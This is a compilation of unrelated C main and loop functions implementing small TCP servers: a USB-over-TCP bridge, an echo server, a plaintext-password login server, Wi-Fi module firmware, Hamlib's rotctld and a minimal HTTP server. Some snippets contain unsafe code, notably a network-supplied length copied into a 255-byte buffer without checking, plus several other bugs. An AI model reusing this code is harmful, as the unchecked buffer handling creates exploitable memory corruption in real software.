void loop(void) { struct usb_req ureq; uint8_t req; uint16_t value, index, size; int yes = 1; uint8_t buf[255]; int sockfd, newsockfd, portno; socklen_t clilen; struct sockaddr_in serv_addr, cli_addr; sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) error("ERROR opening socket"); setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)); bzero((char *) &serv_addr, sizeof(serv_addr)); portno = PORT; serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(portno); if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) error("ERROR on binding"); listen(sockfd,5); clilen = sizeof(cli_addr); for (;;) { newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen); if (newsockfd < 0) error("ERROR on accept"); while (read(newsockfd, buf, 7) == 7) { req = buf[0]; value = buf[1] | (buf[2] << 8); index = buf[3] | (buf[4] << 8); size = buf[5] | (buf[6] << 8); //printf("request = 0x%x, value = 0x%x, index = 0x%x, size = 0x%x\n", req, value, index, size); ureq.request = 1; ureq.request = req; ureq.value = value; ureq.index = index; ureq.length = size; switch(req) { case 0x51: //printf("read request\n"); if (read(newsockfd, buf, size) != size) error("read"); memcpy(from_client, buf, size); handle_usb_vendor_int(&ureq); break; case 0x56: //printf("send request\n"); handle_usb_vendor_int(&ureq); memcpy(buf, from_client, size); if (write(newsockfd, buf, size) != size) error("write"); break; default: printf("invalid request: %x\n", req); exit(EXIT_FAILURE); } } close(newsockfd); } }
int main(int argc, char** argv) { if(argc == 1) { int sock, listener; struct sockaddr_in addr; char buf[1024]; int bytes_read; listener = socket(AF_INET, SOCK_STREAM, 0); if(listener < 0) { perror("socket"); return(1); } addr.sin_family = AF_INET; addr.sin_port = htons(3425); addr.sin_addr.s_addr = htonl(INADDR_ANY); if(bind(listener, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("bind"); return(2); } listen(listener, 2); int fds_inuse[100]; int i; for(i = 0; i < 100; ++i) { fds_inuse[i] = 0; } while(1) { fd_set foread; FD_ZERO(&foread); FD_SET(listener, &foread); int max = listener; for(i = 0; i < 100; ++i){ if(fds_inuse[i] != 0){ FD_SET(fds_inuse[i], &foread); } if(max < fds_inuse[i]) max = fds_inuse[i]; } int code = select(max+1, &foread, NULL, NULL, NULL); if (code < 0){ perror("select erro\n"); } if(FD_ISSET(listener, &foread)){ sock = accept(listener, NULL, NULL); if(sock < 0) { perror("accept"); return(3); } for(i = 0; i < 100; ++i){ if(fds_inuse[i] == 0){ fds_inuse[i] = sock; i = -1; break; } } if(i > 0){ perror("too many connections"); return 1; } } for(i = 0; i < 100; ++i){ if(fds_inuse[i] != 0 && FD_ISSET(fds_inuse[i], &foread) ) { bytes_read = recv(fds_inuse[i], buf, 1024, 0); if(bytes_read <= 0) { close(fds_inuse[i]); fds_inuse[i] = 0; continue; } printf("server got: %s", buf); send(sock, buf, bytes_read, 0); } } } }else{ int sock; struct sockaddr_in addr; sock = socket(AF_INET, SOCK_STREAM, 0); if(sock < 0) { perror("socket"); return(1); } addr.sin_family = AF_INET; addr.sin_port = htons(3425); addr.sin_addr.s_addr = inet_addr(argv[1]); if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("connect"); return(2); } char buf[1024]; int i; for(i = 0; i < 10; ++i){ fgets(buf, 1000,stdin); send(sock, buf, strlen(buf) + 1, 0); recv(sock, buf, 1024, 0); } printf("%s", buf); close(sock); return 0; } }
int main() { int sock_fd, conn_fd; int optval; int flag_recv = USERNAME; int ret; int name_num; pid_t pid; socklen_t cli_len; struct sockaddr_in cli_addr, serv_addr; char recv_buf[128]; sock_fd = socket(AF_INET, SOCK_STREAM, 0); //创建一个TCP套接字 if(sock_fd < 0) { my_err("socket", __LINE__); } optval = 1; //设置该套接字使之可以重新绑定端口 if(setsockopt(sock_fd, SOL_SOCKET, SO_REUSEADDR, (void *)&optval, sizeof(int)) < 0) { my_err("setsocketopt", __LINE__); } memset(&serv_addr, 0, sizeof(struct sockaddr_in)); //初始化服务器端地址结构 serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(SERV_PORT); serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); if(bind(sock_fd, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in)) < 0) //将套接字绑定到本地端口 { my_err("bind", __LINE__); } if(listen(sock_fd, LISTENQ) < 0) //将套接字转化为监听套接字 { my_err("listen", __LINE__); } cli_len = sizeof(struct sockaddr_in); while(1) { conn_fd = accept(sock_fd, (struct sockaddr *)&cli_addr, &cli_len); if(conn_fd < 0) { my_err("accept", __LINE__); } printf("accept a new client, ip: %s\n", inet_ntoa(cli_addr.sin_addr)); if((pid = fork()) == 0) //创建子进程处理刚刚接收的连接请求 { while(1) //子进程 { if((ret = recv(conn_fd, recv_buf, sizeof(recv_buf), 0)) < 0) { perror("recv"); exit(1); } recv_buf[ret - 1] = '\0'; //将数据结束标志'\n'替换成字符串结束标志 if(flag_recv == USERNAME) //接收到的是用户名 { name_num = find_name(recv_buf); switch (name_num) { case -1: send_data(conn_fd, "n\n"); break; case -2: exit(1); break; default: send_data(conn_fd, "y\n"); flag_recv = PASSWORD; break; } } else if(flag_recv == PASSWORD) //接收到的是密码 { if (strcmp(users[name_num].password, recv_buf) == 0) { send_data(conn_fd, "y\n"); send_data(conn_fd, "welcome login my tcp server\n"); printf("%s login \n", users[name_num].username); break; } else { send_data(conn_fd, "n\n"); } } } close(sock_fd); close(sock_fd); exit(0); //结束子进程 } else { close(conn_fd); //父进程关闭刚刚接收的连接请求,执行accept等待其他连接请求 } } return 0; }
USER_FUNC void upnp_main_thread(void* arg) { int upnp_fd; uint32_t if_addr; fd_set sockfd_set; int max_fd ; struct timeval tv; char *pkt_buffer; int ret,i; char *p=0; #define UPNP_RECV_PACKET_SIZE (1024) extern int hfnet_enable_multicast(int enable); hfnet_enable_multicast(1); pkt_buffer = hfmem_malloc(UPNP_RECV_PACKET_SIZE); if(pkt_buffer==NULL) { //u_printf("no mem\n"); return; } while(1) { if((if_addr=get_if_ip_addr())==0) //µÃµ½Ä£¿éµ±Ç°ipµØÖ· kim { msleep(500); continue; } get_mac_addr(); //u_printf("kim+++ if_addr is %x\n",if_addr); upnp_fd = create_multicast_socket(if_addr); if(upnp_fd<0) return; else break; } //tcp server listenfd = socket(AF_INET, SOCK_STREAM, 0); memset((char*)&servaddr,0,sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_port = htons(30001); servaddr.sin_addr.s_addr=htonl(INADDR_ANY); bind(listenfd,(struct sockaddr *)&servaddr,sizeof(servaddr)); listen(listenfd,10); //u_printf("tcp server bind ok!\n"); if(listenfd > upnp_fd) max_fd =listenfd; else max_fd =upnp_fd; maxi = -1; for(i=0;i<MAXCLIENT;i++) { client[i] = -1; } // while(1) { int recvsize=0; tv.tv_sec=0; tv.tv_usec=200; ////u_printf("time=%d\n",hfsys_get_time()); FD_ZERO(&sockfd_set); FD_SET(upnp_fd,&sockfd_set); FD_SET(listenfd,&sockfd_set); for(i=0;i<MAXCLIENT;i++) { if(client[i]>=0) { FD_SET(client[i],&sockfd_set); if(client[i] > max_fd) max_fd =client[i]; } } /* count++; if(count == 1000) { //u_printf("send alive package\r\n"); send_alive_packet(upnp_fd,pkt_buffer,UPNP_RECV_PACKET_SIZE,if_addr); count = 0; } */ ret=select(max_fd+1,&sockfd_set,NULL,NULL,&tv); if(ret<=0) { //send_alive_packet(upnp_fd,pkt_buffer,UPNP_RECV_PACKET_SIZE,if_addr); continue; } if(FD_ISSET(listenfd, &sockfd_set)) //s2 { clilen = sizeof(cliaddr); connfd = accept(listenfd,(struct sockaddr *)&cliaddr,&clilen); for(i=0;i<MAXCLIENT;i++) { if(client[i]<0) { client[i] = connfd; maxi = maxi+1; //u_printf("accept client socket : %d client count : %d\n",connfd,maxi+1); break; } } if(i == MAXCLIENT) { //u_printf("too many clients\r\n"); } /*FD_SET(connfd, &sockfd_set); //½«ÒÑÁ¬½Ósocket ¼ÓÈëselect if(connfd > max_fd) max_fd = connfd; */ //if(i > maxi) if(--ret<=0) continue; } for(i=0;i<=maxi;i++) //¼ì²éËùÓеÄÒÑÁ¬½ÓsocketÓÐÎÞÊý¾Ý //s3 { if(((sockfd = client[i])<0)) continue; if(FD_ISSET(sockfd, &sockfd_set)) { if((recv_num =recv(sockfd,tcpserver_buf,sizeof(tcpserver_buf),0))>0) { while(tcp_send_finish == 0) { u_printf("busy,try late again\r\n"); msleep(10); } tcp_send_finish = 0; ////u_printf("recv data bytes:%d\n %s\r\n",recv_num,tcpserver_buf); if(recv_num <400) //·ÀÖ¹Á½ÌõÏûÏ¢Õ³Á¬ { TCP_Encode(); //add tcp identification code u_printf("FW to MCU,LOCAL TCP,TCP fd is %d:\r\n%s\r\n\r\n",sockfd,tcpserver_encodedbuf); hfuart_send(HFUART0,tcpserver_encodedbuf,strlen(tcpserver_encodedbuf), 50); // if(tcp_uartfd == 0) //{ tcp_uartfd = sockfd; } else { u_printf("recv num is %d, a catastrophe.Get rid of it\r\n",recv_num); } tcp_send_finish = 1; //²âÊÔ²éѯÉ豸Óà /* if((p = strstr(tcpserver_buf,"info"))!= NULL) //ÊÖ»ú²éѯÉ豸ÐÅÏ¢ { //u_printf("send info\r\n"); write(sockfd,info,strlen(info)); } else if((p = strstr(tcpserver_buf,"channel"))!= NULL) //ÊÖ»ú²éѯ°²È«Ä£Ê½´ò¿ª¹Ø±ÕµÄ״̬ { //u_printf("send channel\r\n"); write(sockfd,channel,strlen(channel)); } */ memset(tcpserver_encodedbuf,0,400); memset(tcpserver_buf,0,400); } else { close(sockfd); //FD_CLR(sockfd, &sockfd_set); client[i] = -1; maxi=maxi -1; //u_printf("delet client socket ,client count : %d\n",maxi+1); } if(--ret <= 0) break; } } if(FD_ISSET(upnp_fd, &sockfd_set)) //s1 { struct sockaddr_in fromaddr; socklen_t sockaddr_size = sizeof(struct sockaddr_in); memset(pkt_buffer,0,UPNP_RECV_PACKET_SIZE); recvsize = recvfrom(upnp_fd, (char*)pkt_buffer, UPNP_RECV_PACKET_SIZE-4, 0,(struct sockaddr *) &fromaddr, &sockaddr_size); // //u_printf("kim+++ Broadcast from ip:%x, port:%x\n",fromaddr.sin_addr.s_addr,fromaddr.sin_port); if (recvsize < 0) { //u_printf("recv() fail\n"); } else { if(strstr(pkt_buffer,"Lucis-tech")!=NULL) { //u_printf("recv length=%d,buffer is %s\n",recvsize,pkt_buffer); if(Sync_Flag == 1) //only after mcu sync Fa info to wifi { //u_printf("test AAA\r\n"); send_msearch_rsp_packet(&fromaddr); } } } if(--ret<=0) continue; } } if(pkt_buffer!=NULL) hfmem_free(pkt_buffer); return ; }
int main (int argc, char *argv[]) { ROT *my_rot; /* handle to rot (instance) */ rot_model_t my_model = ROT_MODEL_DUMMY; int retcode; /* generic return code from functions */ int verbose = 0; int show_conf = 0; int dump_caps_opt = 0; const char *rot_file=NULL; int serial_rate = 0; char conf_parms[MAXCONFLEN] = ""; struct addrinfo hints, *result; int sock_listen; int reuseaddr = 1; while(1) { int c; int option_index = 0; c = getopt_long (argc, argv, SHORT_OPTIONS, long_options, &option_index); if (c == -1) break; switch(c) { case 'h': usage(); exit(0); case 'V': version(); exit(0); case 'm': if (!optarg) { usage(); /* wrong arg count */ exit(1); } my_model = atoi(optarg); break; case 'r': if (!optarg) { usage(); /* wrong arg count */ exit(1); } rot_file = optarg; break; case 's': if (!optarg) { usage(); /* wrong arg count */ exit(1); } serial_rate = atoi(optarg); break; case 'C': if (!optarg) { usage(); /* wrong arg count */ exit(1); } if (*conf_parms != '\0') strcat(conf_parms, ","); strncat(conf_parms, optarg, MAXCONFLEN-strlen(conf_parms)); break; case 't': if (!optarg) { usage(); /* wrong arg count */ exit(1); } portno = optarg; break; case 'T': if (!optarg) { usage(); /* wrong arg count */ exit(1); } src_addr = optarg; break; case 'v': verbose++; break; case 'L': show_conf++; break; case 'l': list_models(); exit(0); case 'u': dump_caps_opt++; break; case 'e': opt_end = 1; fprintf(stderr, "-e|--end-marker option is deprecated!\nPlease consider using the Extended Response protocol instead.\n"); break; default: usage(); /* unknown option? */ exit(1); } } rig_set_debug(verbose); rig_debug(RIG_DEBUG_VERBOSE, "rotctld, %s\n", hamlib_version); rig_debug(RIG_DEBUG_VERBOSE, "Report bugs to " "<*****@*****.**>\n\n"); my_rot = rot_init(my_model); if (!my_rot) { fprintf(stderr, "Unknown rot num %d, or initialization error.\n", my_model); fprintf(stderr, "Please check with --list option.\n"); exit(2); } retcode = set_conf(my_rot, conf_parms); if (retcode != RIG_OK) { fprintf(stderr, "Config parameter error: %s\n", rigerror(retcode)); exit(2); } if (rot_file) strncpy(my_rot->state.rotport.pathname, rot_file, FILPATHLEN - 1); /* FIXME: bound checking and port type == serial */ if (serial_rate != 0) my_rot->state.rotport.parm.serial.rate = serial_rate; /* * print out conf parameters */ if (show_conf) { rot_token_foreach(my_rot, print_conf_list, (rig_ptr_t)my_rot); } /* * print out conf parameters, and exits immediately * We may be interested only in only caps, and rig_open may fail. */ if (dump_caps_opt) { dumpcaps_rot(my_rot, stdout); rot_cleanup(my_rot); /* if you care about memory */ exit(0); } retcode = rot_open(my_rot); if (retcode != RIG_OK) { fprintf(stderr,"rot_open: error = %s \n", rigerror(retcode)); exit(2); } if (verbose > 0) printf("Opened rot model %d, '%s'\n", my_rot->caps->rot_model, my_rot->caps->model_name); rig_debug(RIG_DEBUG_VERBOSE, "Backend version: %s, Status: %s\n", my_rot->caps->version, rig_strstatus(my_rot->caps->status)); #ifdef __MINGW32__ # ifndef SO_OPENTYPE # define SO_OPENTYPE 0x7008 # endif # ifndef SO_SYNCHRONOUS_NONALERT # define SO_SYNCHRONOUS_NONALERT 0x20 # endif # ifndef INVALID_SOCKET # define INVALID_SOCKET -1 # endif WSADATA wsadata; if (WSAStartup(MAKEWORD(1,1), &wsadata) == SOCKET_ERROR) { fprintf(stderr,"WSAStartup socket error\n"); exit(1); } int sockopt = SO_SYNCHRONOUS_NONALERT; setsockopt(INVALID_SOCKET, SOL_SOCKET, SO_OPENTYPE, (char *)&sockopt, sizeof(sockopt)); #endif /* * Prepare listening socket */ memset(&hints, 0, sizeof(struct addrinfo)); hints.ai_family = AF_UNSPEC; /* Allow IPv4 or IPv6 */ hints.ai_socktype = SOCK_STREAM;/* TCP socket */ hints.ai_flags = AI_PASSIVE; /* For wildcard IP address */ hints.ai_protocol = 0; /* Any protocol */ retcode = getaddrinfo(src_addr, portno, &hints, &result); if (retcode != 0) { fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(retcode)); exit(2); } sock_listen = socket(result->ai_family, result->ai_socktype, result->ai_protocol); if (sock_listen < 0) { perror("ERROR opening socket"); exit(1); } if (setsockopt(sock_listen, SOL_SOCKET, SO_REUSEADDR, (char *)&reuseaddr,sizeof(reuseaddr)) < 0) { rig_debug(RIG_DEBUG_ERR, "setsockopt: %s\n", strerror(errno)); exit (1); } if (bind(sock_listen, result->ai_addr, result->ai_addrlen) < 0) { rig_debug(RIG_DEBUG_ERR, "binding: %s\n", strerror(errno)); exit (1); } freeaddrinfo(result); /* No longer needed */ if (listen(sock_listen,4) < 0) { rig_debug(RIG_DEBUG_ERR, "listening: %s\n", strerror(errno)); exit (1); } /* * main loop accepting connections */ do { #ifdef HAVE_PTHREAD pthread_t thread; pthread_attr_t attr; #endif struct handle_data *arg; arg = malloc(sizeof(struct handle_data)); if (!arg) { rig_debug(RIG_DEBUG_ERR, "malloc: %s\n", strerror(errno)); exit (1); } arg->rot = my_rot; arg->clilen = sizeof(arg->cli_addr); arg->sock = accept(sock_listen, (struct sockaddr *) &arg->cli_addr, &arg->clilen); if (arg->sock < 0) { rig_debug(RIG_DEBUG_ERR, "accept: %s\n", strerror(errno)); break; } rig_debug(RIG_DEBUG_VERBOSE, "Connection opened from %s:%d\n", inet_ntoa(arg->cli_addr.sin_addr), ntohs(arg->cli_addr.sin_port)); #ifdef HAVE_PTHREAD pthread_attr_init(&attr); pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED); retcode = pthread_create(&thread, &attr, handle_socket, arg); if (retcode != 0) { rig_debug(RIG_DEBUG_ERR, "pthread_create: %s\n", strerror(retcode)); break; } #else handle_socket(arg); #endif } while (retcode == 0); rot_close(my_rot); /* close port */ rot_cleanup(my_rot); /* if you care about memory */ #ifdef __MINGW32__ WSACleanup(); #endif return 0; }
int main (int argc, char *argv[]) { // variables int flag = 1; int sin_size; int sent; char *ipv4; FILE *cfile; char *buf = NULL; long fsize; size_t filelen; int leftsocket; int thissocket; struct sockaddr_in lsa; struct sockaddr_in tsa; struct hostent *h; // flags for arguemnts // // Scans arguments, sets corresponding variables and flags // /////////////////////////////////////////////////////////////////////////////////////// // loads coordinates.txt file to the buffer if ((cfile = fopen("coordinates.txt", "r")) == NULL) { perror("fopen"); exit(1); } else { if (fseek(cfile, 0L, SEEK_END) == 0) { fsize = ftell(cfile); if (fsize == -1) { perror("fseek"); exit(1); } buf = malloc(sizeof(char) * (fsize + 1)); if (fseek(cfile, 0L, SEEK_SET) != 0) { perror("fseek"); exit(1); } filelen = fread(buf, sizeof(char), fsize, cfile); if (filelen == 0) { fputs("Error reading coordinates file", stderr); } else { //buf[++filelen] = '\0'; } } fclose(cfile); } struct ifaddrs * ifAddrStruct = NULL; struct ifaddrs * ifa = NULL; void * tmpAddrPtr = NULL; // displays ip of machine getifaddrs(&ifAddrStruct); for (ifa = ifAddrStruct; ifa != NULL; ifa = ifa->ifa_next) { if (!ifa->ifa_addr) { continue; } if (ifa->ifa_addr->sa_family == AF_INET) { tmpAddrPtr = &((struct sockaddr_in *)ifa->ifa_addr)->sin_addr; char addressBuffer[INET_ADDRSTRLEN]; inet_ntop(AF_INET, tmpAddrPtr, addressBuffer, INET_ADDRSTRLEN); printf("%s IP %s\n", ifa->ifa_name, addressBuffer); } } if (ifAddrStruct != NULL) freeifaddrs(ifAddrStruct); while (1) { // handles client connection thissocket = socket(PF_INET, SOCK_STREAM, 0); memset(&tsa, 0, sizeof(tsa)); tsa.sin_family = AF_INET; tsa.sin_port = htons(DPORT); tsa.sin_addr.s_addr = htonl(INADDR_ANY); // prevents "address already in use" error message if (setsockopt(thissocket, SOL_SOCKET, SO_REUSEADDR, &flag, sizeof(int)) == -1) { perror("setsockopt"); exit(1); } if (bind(thissocket, (struct sockaddr *)&tsa, sizeof(struct sockaddr)) < 0) { perror("bind"); exit(1); } else { printf("waiting for connection on port %d...\n", DPORT); } if (listen(thissocket, BACKLOG) < 0) { perror("listen"); exit(1); } sin_size = sizeof(struct sockaddr_in); if ((leftsocket = accept(thissocket, (struct sockaddr *)&lsa, &sin_size)) < 0) { perror("accept"); exit(1); } else { char *ip = inet_ntoa(lsa.sin_addr); int port = lsa.sin_port; printf("Connection Established with: "); printf("%s:%d\n", ip, port); if ((sent = write(leftsocket, buf, filelen)) < 0) { perror("write"); exit(1); } else { printf("Obtaining hazards from database...\n"); printf("Sending coordinates file...\n"); } } printf("\n"); //printf("Server shutting down...\n"); close(leftsocket); close(thissocket); } }
/*-----------main--------------- * This function opens a socket, and listens for any * client trying to connect, and then forms the connection * then it reads what the client is requesting * and replies with the result of that request -------------------------------*/ int main(int argc, char **argv){ /* variable declaration:*/ int comm_fd, listen_fd; //the file descriptor for the socket used for communication int portno; //the port number to connect to char directory[MAX_STR_LEN]; //the directory to look in for the requested file char request[MAX_STR_LEN]; // the http request received from the client char response[MAX_RES_LEN]; // the response to send back to the client // check to see if there are enough arguments provided by the user if(argc < 3) { fprintf(stderr,"ERROR: please provide the port number and the location of the file in the program arguments"); exit(1); } /* grab the port number and the directory from * the program arguments*/ portno = atoi(argv[1]); strncpy(directory, argv[2], MAX_STR_LEN); // attempt to open a connection listen_fd = open_communication(portno); // run until alt+C is pressed by the user while(1){ // listen for an attempted connection from the server listen(listen_fd, 10); // attempt to accept the connection comm_fd = accept(listen_fd, (struct sockaddr*) NULL, NULL); // check to see if the connection is successfully made if(comm_fd < 0) { fprintf(stderr,"ERROR: unable to accept communications"); exit(0); } //write zeros to the memory pointed to by "request" and "response" character strings bzero(request, MAX_STR_LEN); bzero(response, MAX_RES_LEN); // attempt to read the request from the client if(read(comm_fd,request,MAX_STR_LEN) < 0) { //the read failed, so report it and exit fprintf(stderr,"ERROR: failed to read from the client"); close(comm_fd); exit(1); } // parse the request and form a response perform_http(request, response, directory); //send the response back to the client if(write(comm_fd,response,MAX_RES_LEN) < 0) { // the write failed, so report it and exit fprintf(stderr,"ERROR: failed to write to the client"); close(comm_fd); exit(1); } // close the socket used for the communication close(comm_fd); } }